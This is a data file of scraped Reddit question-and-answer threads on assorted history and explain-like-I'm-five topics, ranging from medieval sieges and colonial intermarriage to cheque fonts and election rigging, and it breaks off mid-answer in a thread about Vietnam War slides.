{"q_id": "fjinrc", "title": "I'm your average medieval citizen. My city is under siege, they're starving us out over months but we're fine for now. What is my daily life like? Is my coin still worth something? Do people trade or is the guard distributing rations? Do we still have fun to pass the time?", "selftext": "Just trying to get an idea for life during the long months of a siege.\n\nObviously once food starts getting low and people start getting desperate things change but to start with, is life relatively normal?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fjinrc/im_your_average_medieval_citizen_my_city_is_under/", "answers": {"a_id": ["fknmvpe", "fknoexm", "fknp1ci"], "score": [40, 1106, 6], "text": ["There is very little written about the lives of average people in the period I study (10th century Holy Roman Empire). The main source for this period is Flodoard of Reims, whose descriptions are quite sparse and rarely focus on much beyond broad strokes. But I'll give a few highlights from his annals that might help you extrapolate.\n\nIn the early 900s, there was rising sentiment against Charles the Simple. In 922, Charles and count Robert were setting up their opposing armies in the vicinity of Reims. Robert attacked about 200 people who had set out to plunder Reims. Charles then sat his army for three days about a league away from the city, but civilians from Reims kept capturing his horses. So Charles attacked \"even though it was Pentecost Sunday\" (June 9). There's no mention of a protracted seige. To the contrary, Charles withdraws and Robert is declared the king of Reims in July.\n\nIn 923, Charles kills Robert at Soissons in a surprise attack, and Charles seized spoils especially from the rusticani (rustics, aka country people) and the people leaving the suburbs.\n\nRaoul replaces Richard as king. Raoul sends Bishop Wigeric of Metz to recapture Saverne, but ends up there for the entire autumn because the garrison holds out. Eventually, no aid comes, and Raoul received unnamed hostages, and Wigeric destroys Saverne. Meanwhile, king Henry of Germany crossed the Rhine and carried off a bunch of plow animals and youths.\n\nIn 925, Ragenoldus heads off to beseige the castle of Noyon. He lights the suburbs on fire to persuade the garrison to come out. Which they do, and together with the inhabitants of the suburbs, the garrison drives him out.\n\nIn 931, Raoul sieges Reims. After three weeks, the civilians open the city to him. \n\nBack in Noyon, in 932, after the Biship dies, one of the city's clerics let Count Adelelmus climb the walls. The count \"collected\" some men from the suburbs and attacked the city, but the people in the walls counterattacked and drove him out. Adelelmus fled into a church, but he was killed next to the altar, and the civilians (cives) retook Noyon.\n\nSo while I don't have any accounts of the specifics of normal life during a 10th century seige, since the chroniclers rarely bother to mention them (very few normal folks are written about in this time period, unless they become saints), you can see that townsfolk didn't just sit on their hands while soldiers did war. They actively engaged in hostilities when their cities were threatened. People would have to prepare for that. And since cities, villages, suburbs and churches were routinely plundered, it would be logical that people who didn't manage to escape in advance of the approaching army would also be trying to hide their goods.", "[** >  >  >  Find the full answer with follow up questions and illuminations on my blog!  <  <  < **](_URL_0_)\n\nThe following answer mostly applies for 14th and 15th century western warfare ;-)\n\n# The Medieval Town\n\nIt must first be understood that medieval cities were not \"whole\". The total control of a medieval town required a lot of conniving and plot. The bigger the city, the more factions it had. A \"standard\" town would have at least two seats of power: the bishopric and the city hall. A representative of the king, like the 'bailly' in France could be another player. Whoever wished to take Paris had to get the university on their side, too.\n\nI observed that when Amiens was taken back by the Burgundians in 1436 (read Monstrelet's *Chronicle*), the 'city' (where the bishop ruled) was left untouched. Rebels from the 'town' (under the jurisdiction of the city hall and the guilds) actually tried to take refuge with the bishop but he simply sent them on their way and the new bailly took over unchallenged.\n\nThose type of situations gave way to funny happenstances. A medieval town could be taken and re-taken in a very short amount of time if leaders of opposite factions were living in the same city. More funny were the cases of city defenders having lost their town but who kept the control of one or two towers among the city walls.\n\nWhen the crusaders took Antioch during the first crusade they found themselves in a very difficult situation. They had gained control of the city but not of the fortress. However, a new army was coming to reinforce the defending army. The crusaders were therefore besieged within the city they had just taken yet didn't totally control. We can find many examples of the like in later centuries.\n\n# To Siege Or Not To Siege?\n\nBesieging a city was a very expensive and risky venture. Elite knights and men-at-arms were few. Most battles were fought among a few hundreds of \"soldiers\". How can you take over a city where several thousands can show up to defend the walls? You needed to rally the 'communes' or the 'common people' so to speak to manage an effective siege. Then you'd get along the tens of thousands of men on the battlefield. Commoners lacked the knightly culture though and they were quite unpredictable. That's why most cities were taken by surprise thanks to some commando type of missions.\n\nSince medieval towns had rivaling political players within their walls, a big part of taking a city over was to seduce those party leaders and grant them satisfaction. Jean de Villiers de l'Isle-Adam, who managed to take Paris not only once, but twice, first in 1418 then back in 1436, only achieved it because he was good friend with the butcher guild and the university. When Joan of Arc attacked the city in September 1429, there was no friends within the walls to help take over the capital.\n\nAnother problem was that towns were very difficult to surround properly. Even when he arrived with something like twenty thousand flemish militia to attack Calais in 1436, Philip the Good couldn't strangle the city completely. The people of Calais were still going out with their cattle, for example, which gave way to epic or ridiculours skirmishes. It is very rare that we find a siege like the one of Melun, in 1420, when the French starved so close to death that they had to kill and eat their own horses.\n\n# The City And Its Countryside\n\nThe question arises: why take a city when you can plunder the countryside? Well, for one, there might be castles and garisoned troops all over the place to prevent such acts of aggression. Jean de Luxembourg, lord of Beaurevoir, had such a system in place to defend the Eastern part of Picardy. However he was a well-respected, renowned and mostly feared overlord with close connections to the Burgundian court. Once the political chessboard was overturned, though, even the Duke of Burgundy thought twice and eventually didn't risk to mount an army against him. The king did, but that's another story. (Jean de Luxembourg died before the king's army reached his lands and his heir and nephew settled the matter by acknowledging the king's authority.)\n\nMost of the territory wasn't safeguarded by some Jean de Luxembourg, though. It was quite easy to tear the countryside apart. The English did it several times during the first half of the Hundred Years' War. They would do it to provoke the French into an open-field battle. Cr\u00e9cy (1346) and Poitiers (1356) were the results of such provocations. Charles V said no more and chose for a war of attrition: no more open-field battles, only skirmishes and surprise city take-overs. It really changed the face of the war.\n\nPillaging and plundering a countryside was nevertheless a fine way to bring a city to its knees. Medieval cities were directly co-dependant from their neighbouring countryside. If an army were to threaten it then a city would easily pay up in order to safeguard it. Sure, the city was well-defended enough that it couldn't be taken. But could the citizens chase away a company of men-at-arms without a proper company of their own sent over by their lord? They couldn't.\n\n# The Daily Duties Of A City-Dweller\n\nThough city-dwellers were \"free men and women\" they still had to accomplish many tasks. One of them was the town-watch. It was up to city-dwellers to make the rounds on the walls, to break the ice of the moat around the city (to make sure no one would cross it and make their way to the walls too easily--which happened!), etc. They had to provide material support in times of war, women too, by bringing water, boiling oil, and many other things to the \"frontline\".\n\nThe roads were guarded by \"boulevards\", or road-block fortifications, and they prevented enemy troops to get too close from a city. Besieging a city therefore often began miles away from the city walls. It guaranteed the safekeeping of pastures, agricultural fields and suburbs around the town. Such boulevards had to be built by city-dwellers themselves. Even besieged, a city could keep some kind of normal life unless the situation became too dire. Since a city was not often properly surrounded, exterior communication was not so difficult and food could easily be brought in.\n\nSome people speculated and made a fortune during times of war by raising the price on crops, for example. It was a criminal offense but many got away with it... Money often became an issue for besieged populations and they hoped to rely on the church or their lord to get by. Having a rich protector, serving in a mighty house, was certainly a way to stay on safe side of things. Anyway, it took quite some time for the situation to be really desperate unless the enemy army was actually overwhelming.\n\n# From Skrimishes To Victory Or Surrender\n\nIf a city was besieged and couldn't be taken over \"Rambo style\" with a clever, daring an deceitful tactic, it would first open on several weeks of skirmishes around the boulevards and the countryside. Nearby smaller towns would also serve as battlefields. People often found refuge in stone built churches: they were torn apart or put on fire.\n\nDelay was the key words for the defenders. The name of the game was to hold as long as possible for ally troops to find their way to the siege and help. Montargis waited and waited until La Hire arrived and saved the day, in 1427. It is an interesting case, however, because La Hire and his friends wouldn't help Montargis unless they got paid. Indeed, if besieging a city was a most expensive affair, so was defending it!\n\nLarger cities would hold much longer. They often had pastures and fields within their walls that belonged to this or that abbey. You'd have cattle within the city walls too: cow, pigs, sheep... Not enough to feed the entire population for a prolonged time, but just enough to help the city hold against the enemy.\n\nRenowned knights would then square things off in many skirmishes until one or the other party gathered enough money to push the siege forward or to break it off. Journals and chronicles of the time often mention who fought bravely during the first hours/days/weeks of a siege.\n\nThe surrender would always come into the form of a peace treaty between the military leaders of both parties. Often the defender would ask for his people to get a safe-passage accross the enemy territory to get back to an allied city. The military leader of a city was not always taking the city-dwellers into consideration, or just couldn't protect them, and more often than not he allowed his enemy to pillage and plunder the taken city. That's why, among so many other reasons, city-dwellers didn't have men-at-arms to heart and often mistrusted them. There are cases of city-dwellers that actually denied entry to supposedly allied men-at-arms when the countryside was torn apart by roaming rogue companies. Hell, the Duke of Burgundy found himself trapped inside the city of Brugge and had to fight his way out!\n\nDon't hesitate if you have a follow-up question on the matter :-)\n\n & #x200B;\n\n**Edit:** *~~I'll be cooking, eating, walking my dog, etc. (You know, some basic quarantined life...) Don't worry though, I'm getting to your follow up questions whenever I can! They're very interesting and make up for great write ups! Please avoid redundancies and make sure your question hasn't be asked before ;-)~~*\n\n**Edit:** *Thank you all for your interest in my answer and your very interesting follow up questions but I'd like to close this thread if you don't mind, life must go on and all :-) If I haven't guaranteed that I'd come back to you sooner or later by now I won't be answering your follow up questions. The AskHistorians subreddit remains at your disposal though and it has many experts that can help you getting the knowledge you seek! See you soon  < 3*", "Follow up question if this is allowed? I was under the impression that all non-essential personnel (such as a peasant) would be kicked out of the castle prior to any siege to make supplies last longer? Could  someone shed some light on this as well?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://asinusdocet.tv/2020/03/22/survival-guide-to-medieval-siege-warfare/"], []]}
{"q_id": "49ihux", "title": "why do some colours show up differently on camera than in real life?", "selftext": "Something I've noticed with being a Transformer collector, when you see a picture of an ite,m (not the official ones which are touched up, but the ones by fans) you usually see the colours slightly different than they are in real life, even if the photo is in a brightly lit, plain background. Some greens for example show up more cyan on camera than in real life. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49ihux/eli5why_do_some_colours_show_up_differently_on/", "answers": {"a_id": ["d0s2btr"], "score": [2], "text": ["First of all! What we perceive \u2260 what we see.\n\nAnswering your question: one of the reasons is this thing _URL_0_\n\nAlso, to add up to Snewzie's answer: actually we don't know how brain estimates white balance and color temperature, thus it's not possible to reproduce carbon copy image from our heads as digital image. AFAIK brain 'derives' colour temperature from what we see and then extracts it, so we can correctly estimate colour of objects under different lighting. Artificial algorythms have a lot of problems with this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Impossible_color"]]}
{"q_id": "3tsxi0", "title": "why do they add the letter t, then plus of minus, before saying how many seconds until a rocket launches", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tsxi0/eli5_why_do_they_add_the_letter_t_then_plus_of/", "answers": {"a_id": ["cx8xe96", "cx8xeis", "cx8xplm"], "score": [15, 3, 73], "text": ["T is the mission time.\n\nT = 0 is launch, because that's convenient and easy to remember. \n\nTime before launch is therefore negative (ie t=-10s) and time after launch is positive. ", "It's Mission Elapsed Time. \"T minus\" means \"Time before the mission started\" and \"T plus\" means \"Time after the mission started\". ", "As others have said, T is the time of launch. What nobody mentioned yet is why times are given as T minus X.\n\nThe launch takes months to plan. They don't know what day it will be, let alone what time. But they do know that they must (for example) test the engines at T minus 10 and run certain checks after launch at T plus 20.\n\nSo all the plans talk about T minus and T plus.\n\nWhen they get a day and time for launch, that plan doesn't change because everyone knows what to do at T minus 10. Nobody thinks of it as 11:50. And what if there's a delay? You can't rewrite everyone's schedule. But you can say \"we are now delayed. We are now at T minus 60 again\". Everyone knows exactly where they are in their duties.\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4jtd0c", "title": "what is the eastern philosophical concept of wu?", "selftext": "I can't understand any explaination I've found elsewhere, please help.\nThank you", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jtd0c/eli5_what_is_the_eastern_philosophical_concept_of/", "answers": {"a_id": ["d39ec3b"], "score": [2], "text": ["The short version is that it's the concept of everything being interconnected and interdependent. This, in turn, is supposed to help people be more aware of how their actions affect others, because other people's actions affect them as well. \n\nA similar concept is the \"butterfly effect\", where a tiny change leads to bigger and bigger consequences, often too big for the original actor to realize. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "43axoc", "title": "Why do British settlers tend to get rid of and forcibly move natives instead of like the french and Spanish intermarried with the native population(excluding new Zealand)?", "selftext": "Seriously in all their major settler colonies( of course, excluding new Zealand) of the British empire, natives were generally forcibly moved off their lands (so did the Afrikaners) but they rarely intermarried with native populations  unlike the french  &  Spanish in the new world.\n\nEven Afrikaners intermarried more with the native population. \n\nWhy is this? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/43axoc/why_do_british_settlers_tend_to_get_rid_of_and/", "answers": {"a_id": ["czgxwcl", "czh2xjg"], "score": [16, 4], "text": ["tl;dr- YMMV, every colony was a surprisingly unique experience- even when some of them were right near each other.\n\nI think you are mistaken to exclude New Zealand; Maori were forced in mass off land through violent confrontation and conflict.  The mid-nineteenth century Maori wars were so fierce at various points that Aotearoa had more British Marines stationed there than anyway else in the Empire.\n\nThe intermarriage that took place early on was usually more between merchants/missionaries who were more interested in converting or establishing commercial relationships with the Maori than the settler colonists who arrived and whom the marines were meant to support and protect.  The missionaries and merchants were something of a nuisance to settler colonists since they provided weapons and ammo to the Maori.\n\nAs to the French; what happens in North America is unique to that time and place.  Racial ideas were less set in stone and recently historical work has illuminated the ways in which just changing your dress could allow you to move between legal and administrative identities which today strike us as racial.  So a Frenchmen could adopt local Indian dress and become essentially an Indian- just as an Indian woman could (and did) adopt European dress/religion while passing through or living in settlements and become effectively European as far as the legal codes at the time were concerned.  There was a powerful belief that native peoples could become French.  By the time of the Revolution (end of the 18th/c) this belief is long gone and few think that Indians (much less the masses of enslaved Africans) can truly become French.  There is something of a return to this belief at the end of the 19th/c; which comes through really in French Algeria and Tahiti-- wherein some believe that these other peoples can effectively 'advance' enough to become French.  However, by the end of the 19th/c this belief is gone-- there are few people still claiming indigenous populations can be assimilated into a French identity.  One of the reasons for this change in policy- from being at least ok with assimilating governed peoples to seeing it as bad policy- is envy at the British and Dutch methods of governance and the belief that if the French government spent more time 'associating' with local leaders rather than trying to make them French, they could make more money.  Even in the places where intermarriage was possible (and it was not legally recognized across much of the French empire- there were quite a few half-french babies left in Indochina with no recourse to their paternal progenitor)- it was not really all that common.  Aside from New Caledonia and Algeria, none of the French colonies of the 19th/c had large scale settlement, so there was never more than a transitory commercial/bureaucratic population.\n\nWorth pointing out, that even at the time of assimilationist politics, it was really only in a few-- already highly though of colonies-- that this took place.  I mention Tahiti, but on the other side of the Pacific in New Caledonia, there was- and still is- very very little intermarriage.  There was large scale land alienation and several armed conflicts fought to push the Kanak peoples into reservations.", "You really shouldn't be excluding New Zealand. You *might* be able to make the claim that Maori were treated better than average for native peoples, but that bar is really, really low.\n\nThe Treaty of Waitangi, the legal document and formal agreement between the British Crown and some (but not all!) Maori rangatira (chiefs being the closest translation) promised the signatory parties independence, true. But it was ignored by British authorities within months. It was British violation of the treaty (at least, violation in the eyes of those who rebelled) that caused the outbreak of the land wars. Throughout these wars, many Maori rangatira allied themselves with the Crown, either out of respect for the treaty, a desire to maintain and improve relations with the British, or reasons wholly their own. The actions of allied Maori proved absolutely crucial - it is impossible to say what would have happened without their help, but the fact is that they played a massive role in fighting the rebel rangatira, and in supporting the British troops.\n\nBut, despite their allegiance and all their help, these allied Maori were punished for rebellion as well, or at the least they received no reward nor special consideration. From top ranking government officials to colonists who just wanted more land, the Europeans repeatedly abused their power to take Maori land, enforce their laws upon Maori who didn't want them, and impose taxation and controls on trade that had little or nothing to do with them. It got so bad that the Treaty of Waitangi was officially dismissed, to stop it from getting in the way.\n\nAnd that's just the 19th century. The 20th has many more problems all of its own.\n\nThe 'why' is going to vary of course with each and every individual, but generally speaking it was greed. The first major violation of the Treaty of Waitangi was the imposition of tax and controls on trade between Maori and European merchants, because the governor of New Zealand needed money. There are accounts of a high ranking soldier of some kind (the name and rank escapes me) talking to local colonists, who outright tell him that they want the Maori's land, and the soldiers are going to take it for them. Notably, the Maori concept of ownership isn't really compatible with the British concept, so land and resources couldn't be so easily gained through  things like intermarriage even if the British wanted to try that route.\n\nMost of this information is from \"Kupapa: The bitter legacy of Maori alliances with the Crown\" by Ron Crosby, with the exception of the soldier's anecdote which came from a collection of his own writings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "700s0o", "title": "why are so many intelligent, gifted individuals so frequently unable to find happiness for themselves?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/700s0o/eli5why_are_so_many_intelligent_gifted/", "answers": {"a_id": ["dmzi0o0", "dmzj87k", "dmzmu2g", "dmzt1sa", "dmzupbs", "dn00xqd"], "score": [21, 15, 26, 16, 4, 2], "text": ["High intelligence is strongly correlated to the following psychological conditions; depression, anxiety, and obsessive compulsive disorder. \n\nI can't tell you why a specific individual is unhappy, but the general idea is that somehow brilliance and genius just happen to go hand-in-hand with psychological disorders. ", "My uneducated supposition is that these sorts of people overthink and analyse constantly, every aspect of their lives. It's easy to get bogged down in the minutiae.", "The saying is \"Ignorance is bliss\" so the less intelligent you are, the less stressful your life is in a sort. You don't have to worry about a lot of responsibilities and issues(even if its your job to, you simply don't as you're inferior in intelligence and cannot comprehend the need to worry about them)\n\nEdit: this was so hard to write without offending anyone xD", "I'd be surprised if there is a concrete answer for this, take my theory with a pinch of salt.\n\nThis may sound condescending, I don't want it to, I just don't know how else to word it. I think intelligence leads to an inquisitiveness about a lot of things outside of a person's own bubble, so to speak. The desire to learn about things and trying to understand them can have an effect. A subject like politics is a prime example. Intelligent people may want to learn about politics to gather an informed opinion, and by doing so, begin to realise how corrupt and backwards the systems can be that govern our countries. Discovering something like this and knowing you cannot really do anything about it is a depressing thought.\n\nThis is just a single example, and there's obviously a LOT to gather when it comes to the reasoning behind a person's mental health, I was just giving a straight-forward example of what could contribute to a person's depression. The train of thought could be carried over to other subjects. I can't speak for people who are depressed solely due to personal problems.\n\nBlissful ignorance is a saying that holds a lot of weight in my eyes. Some people are just unaware of the atrocities of the world, which I'm jealous of to be honest. Others choose to ignore them.\n\nAs I said, take it with a pinch of salt. I could be completely wrong but I think it's a sound enough theory to explain a small part of what may contribute to depression, outside of chemical imbalance.", "I think the key here is self awareness, self reflection and analytical thinking.\n\nMost people judge themselves and those close to them by their intentions (\"He did not want to hurt your feelings, that's why he didn't tell you ...\") and those they don't know really well by their actions (\"fucking liar\"). Many intelligent people do not work that way. They are aware that the difference in how we judge ourselves, those close to us and those we don't really know is hypocritical and that is why they think of themselves as critical as they think of others, which simply prevents them from having a high self esteem. \n\nAnother thing that comes with analytical thinking is that people often have a clear image of how something should ideally work (be it politics, society or just something simple as an order process), because they have analyzed the whole situation, got all the information they needed and came to a logical conclusion. And while they can accept that others also have ideal versions for these things, most of the people they have to argue with simply base their opinion on their feelings and selfish needs and not on actual information, which makes arguments about the topic worthless. ", "There are two chief factors that may be responsible:\n\nFirst, think of being a genius as a mutation. There is an average intelligence, and as you go off to either extreme of it, you likely didn't inherit those genes from your parents but instead had a few genes relating to intelligence that mutated. The brain's chemistry is one of the most known complex systems in existence. Any change is likely to set off a cascade of changes. So think of \"gifted intelligence\" like any other drug for your brain such as an antidepressant - if you take it, you will likely experience a host of side effects. They aren't guaranteed, but the risk is increased substantially compared to normal. The side effects are rarely good, and can lead to psychological issues relating to depression, anxiety, and so on. Savant syndrome is a particularly exaggerated case of this scenario, such as people who can do operations with massive numbers in their heads but need help to dress themselves.\n\nSecondly, consider how society is structured. Is it designed for the gifted, or for the average? It's designed for the latter. The extremes aren't accounted for. The mentally deficient will find it difficult to support themselves, and the mentally gifted will find it difficult to put up with the rules of society, e.g. progressing through school at a certain rate, dealing with bureaucracy, social rules, finances, etc. when they feel they should be an exception, and so on. These roadblocks can be frustrating for these individuals as they constrain what they're able to do and accomplish. Society is not built to accommodate those who are outliers, which makes it natural that they feel unhappy when their personality, skills and desires do not mesh with how you're expected to live your life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "dbv5hd", "title": "what is it about the numerical font used at the bottom of checks that makes it easier for computers to read? why was that chosen as the standard?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dbv5hd/eli5_what_is_it_about_the_numerical_font_used_at/", "answers": {"a_id": ["f244roj", "f2484qm", "f248k3v", "f25330c"], "score": [4, 20, 9, 2], "text": ["It isnt the font that they use...those numbers are made of magnetic ink.  They are ran through a MICR machine that reads those magnetic numbers.", "Even though as /u/joestone points out, these characters are printed with magnetic ink, the font is still important, because whether they're scanned magnetically or optically, the shape of the digits is still what counts.\n\nConsider a reader that scans from left to left to right and only looks at three points on the top, middle and bottom of the digits. \n\nWhenever all three inputs say there's nothing, that's a character break.  \n\nBetween each character break, the three points will translate to a set of dashes and dots\n\nFor instance, the 7 digit will make a dash on the top, a centered dot on the bottom and a centered dot in the middle.  It's easy for a computer to then take those dashes and dots and find the closest match in a lookup table.\n\nEDIT:\n\nIt turns out that the left to right scan doesn't use multiple signlas, but rather a single signal measured by the total vertical amount of ink in the character as it reads....  this creates a single signal of peaks and valleys as shown here:  _URL_0_", "In addition to what others have said, observe how all the digits have significant differences to each other. For example, the 5 and 6 have the horizontal line at a different height. This means that you can't modify a 5 to look like a 6 by adding a bit, or vice versa. The top half of the 8 is narrow, so you can't make the 0 look like an 8 by adding a horizontal line.", "I always wondered why the banks didn\u2019t transition to barcodes - but I guess as an anti-fraud measure, you still need to be able to visually verify them..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.digitalcheck.com/micr-weird-font-magnetic-printing/"], [], []]}
{"q_id": "430tcm", "title": "how do we know that our votes actually matter? in other words how do we know that the winner of the election isn't pre decided in advanced and the voting process isn't just to keep us believing we live in a democracy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/430tcm/eli5_how_do_we_know_that_our_votes_actually/", "answers": {"a_id": ["czeks4t", "czekujn", "czelgmp", "czelk3x", "czemu1c", "czeozdz", "czepur3", "czetxup"], "score": [43, 7, 2, 8, 26, 2, 3, 2], "text": ["Rigging the US elections would take a massive conspiracy.\n\nConspiracies are hard. Especially huge conspiracies involving many people. Double-especially when revealing the conspiracy would make you famous/a hero/filthy rich.", "Basically, we don't. Remember the last time you voted with pen and paper? Yeah, me neither. I don't know about you, but over here we vote using machines manufactured by Diebold. AFAIK the software that runs them is closed source, which is a problem since that means there is absolutely no way - apart from Diebold themselves - to verify that the voting results it outputs are the ones people entered. I would love to be proven wrong.", "Most countries claiming democracy both send and accepts observers from other countries, commonly people experts at some level of the electoral process. For example it's common for polsci professors (but also lots of others) to review the entire process, and also physically oversee a lot of it, to make sure none of the people working on it are doing tricksy stuff.\n\nEdit: So if you go voting, and see an obvious misplaced foreigner there, it might just be an observer making sure your vote is actually counted.", "Who would be rigging them? The people who might have the means to do it are too busy spending billions on super PACs. Is that just an expensive distraction?", "If you vote electronically then you can never be sure that your vote was actually counted. There are so many ways to mess with computer software and voting machine hardware and if 1 electronic vote can be altered through nefarious activity, millions of such votes could be altered. Tom Scott has an interesting video on this topic: _URL_0_ \n\nHowever, if your vote was cast on paper then you can be relatively sure that it was counted because it's very difficult to conspire to change paper ballots in bulk. Millions of paper votes means millions of individual standalone pieces of paper that have to be physically altered. As mentioned by /u/rhomboidus it would take a massive conspiracy to rig such a system.", "Several reasons. In the US, Presidential elections are handled by the 50 States plus DC. States usually outsource handling of the elections to their counties and/or cities. To rig a national election would require that enough of these counties and cities could be rigged without any information about it being leaked somehow. It becomes harder to prevent a leak the larger the conspiracy is.\n\nSecond, the media does exit polling. The media, looking to predict first who the winners will be, will perform exit polling of people who have voted to get a good idea of who won. You'd have to rig both the elections in enough counties AND rig the exit polling of all the major media outlets. And since exit polling is converted into information that is reported very quickly, it would be difficult to rig all of the major outlets while voting is happening.\n\nThis kind of conspiracy is hard in other large countries as well. The ones that get away with it are usually very corrupt with governments that border on dictatorships, or are literally dictatorships. North Korea rigs the elections, but that's because there is no freedom, the government controls the media, and people who don't vote \"correctly\" are punished. China has only one party, and has a lot of control over the media, so it can get away with it. Germany and the UK, much less so. The US? practically impossible.\n\nNow, small, local elections are easier and there are likely many cases of successful election rigging going on there. ", "In Canada, votes are done using pen and paper only. The paper ballots are inserted by each voter into a sealed box, and the boxes are only unsealed and opened under the supervision of volunteers from each political party. Those volunteers watch the vote-counters count the vote, and the results are made public on a per-box basis. The totals can then added up by anyone who cares to do so.", "You may find the following short videos on the [electoral college](_URL_0_) and [election rigging](_URL_1_) both entertaining and informative."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://www.youtube.com/watch?v=w3_0x6oaDmI"], [], [], ["https://www.youtube.com/watch?v=ZlwbTUs-17k", "https://www.youtube.com/watch?v=Zd5rul6EdF0"]]}
{"q_id": "nvwe0", "title": "why is there so much hostility towards those who follow a faith on reddit?", "selftext": "I see myself as agnostic, but it just bugs me that a lot of the time a very general attitude on here seems to be a mob mentality of hurling abuse at and mocking people who believe in a deity. What is the problem with faith (not organised religion, that's a different question altogether)?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nvwe0/eli5_why_is_there_so_much_hostility_towards_those/", "answers": {"a_id": ["c3ccdv1", "c3ccgr9", "c3cf23e", "c3cikjm", "c3ccdv1", "c3ccgr9", "c3cf23e", "c3cikjm"], "score": [5, 13, 2, 2, 5, 13, 2, 2], "text": ["Its absolutely illogical, and faith is connected to organized religion, which has caused millions to be murdered, tortured, discriminated against, etc.", "1). A small but vocal portion of the userbase accounts for most of the hostility.\n\n2). Atheists have been drawn to reddit due to it being basically the only place to easily communicate with and learn from other atheists.\n\n3). Some atheists are subject to considerable prejudice offline, and come to the only atheist community they have access to to vent.\n\n4).  From an Atheist's perspective, humanity's tendency to have faith in illogical things is the cause of a lot of bad aspects of the world we live in.", "Well, I'll explain my own dismissive attitude towards faith.\n\nI don't get it. To me, believing in God or Allah is kind of akin to believing in vampires from Twilight. None of it makes any sense and hence I equate a religious tattoo (ironic as those are, given the bibles attitude) to a 'team Edward' tattoo. You must agree that mocking team Edward tattoos is the *only* reasonable reaction to seeing them...\n\nOnce you start viewing all religion like this, well, how can you NOT be patronizing? It's somewhere between childish and insane.\n\nOf course if we're talking of really high level deism where you are confident that there's a controlling intellect somewhere that created the universe, and who will ultimately inflict some sort of karma on how you behave in life... well, I have very little against that, as long as you don't start attributing ridiculous characteristics like \"white dude with beard\" or \"worries about where you put your penis\". This type of deists very seldom talk a lot about their 'faith' though, which leaves the people mentioning the faith as the type to be ridiculed.", "Faith is confidence or trust in a person or entity.\n\nReddit is a skeptical community - \"it didn't happen if there isn't any proof/source/pic/etc.\"\n\nSquare pegs, round holes.\n", "Its absolutely illogical, and faith is connected to organized religion, which has caused millions to be murdered, tortured, discriminated against, etc.", "1). A small but vocal portion of the userbase accounts for most of the hostility.\n\n2). Atheists have been drawn to reddit due to it being basically the only place to easily communicate with and learn from other atheists.\n\n3). Some atheists are subject to considerable prejudice offline, and come to the only atheist community they have access to to vent.\n\n4).  From an Atheist's perspective, humanity's tendency to have faith in illogical things is the cause of a lot of bad aspects of the world we live in.", "Well, I'll explain my own dismissive attitude towards faith.\n\nI don't get it. To me, believing in God or Allah is kind of akin to believing in vampires from Twilight. None of it makes any sense and hence I equate a religious tattoo (ironic as those are, given the bibles attitude) to a 'team Edward' tattoo. You must agree that mocking team Edward tattoos is the *only* reasonable reaction to seeing them...\n\nOnce you start viewing all religion like this, well, how can you NOT be patronizing? It's somewhere between childish and insane.\n\nOf course if we're talking of really high level deism where you are confident that there's a controlling intellect somewhere that created the universe, and who will ultimately inflict some sort of karma on how you behave in life... well, I have very little against that, as long as you don't start attributing ridiculous characteristics like \"white dude with beard\" or \"worries about where you put your penis\". This type of deists very seldom talk a lot about their 'faith' though, which leaves the people mentioning the faith as the type to be ridiculed.", "Faith is confidence or trust in a person or entity.\n\nReddit is a skeptical community - \"it didn't happen if there isn't any proof/source/pic/etc.\"\n\nSquare pegs, round holes.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "z61i0", "title": "Can someone help me with a personal project? ", "selftext": "Hey /r/askhistorians, forgive me if this is the wrong place to ask. My Father passed away a few years ago of cancer. He was in the Vietnam war, this was a part of his life that he never talked about. \n\nOne of the few things I was able to save from his belongings was a box of slides from the war. I was wondering if there was any historian that would be interested in 1. Looking at them/using them for research or whatnot and 2. telling me more about where exactly they were. \n\nI have made an album of a few of them. _URL_0_\n\nOnce again, I apologize if this is the wrong sub reddit, I'm just curious. \n\nEDIT: Changed the Album realized some people might have had a problem with the last picture.\n\nEDIT 2: Added a second album its hard to pick there's literally over 500 of them _URL_1_ ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/z61i0/can_someone_help_me_with_a_personal_project/", "answers": {"a_id": ["c61rjpl", "c61rslj", "c61spu6", "c61sueo", "c61td80", "c61tfbd", "c61wwr6"], "score": [3, 2, 6, 13, 13, 7, 3], "text": ["I'm afraid my knowledge of the Vietnam War is limited (though it's a field into which I'm seriously interested in expanding!), so I don't have an answer myself, but I'd suggest that you may wish to also ask about this in /r/history, which has a larger reader base.\n\nI know of at least one flaired user in this subreddit who knows something about the conflict in question... I'll drop him a PM at once.", "Nice shots. The army does have an historical wing: contact them and offer to send copies of the scans. They'd probably be interested to see them and be able to help you find the location. ", "I was able to find the unit insignia your father has on his boonie cover.  You can also make it out on his shoulder in the picture with (presumably) him in front of the CH-47 *Chinook*.\n\nIt appears that he was a member of the [1st Aviation Brigade](_URL_0_).  A lot of units reported to this brigade, so if you can provide more information about things like time frame I'd be able to help narrow it down.", "Alas, if you had just a few more details then this would be far easier. What was your father's 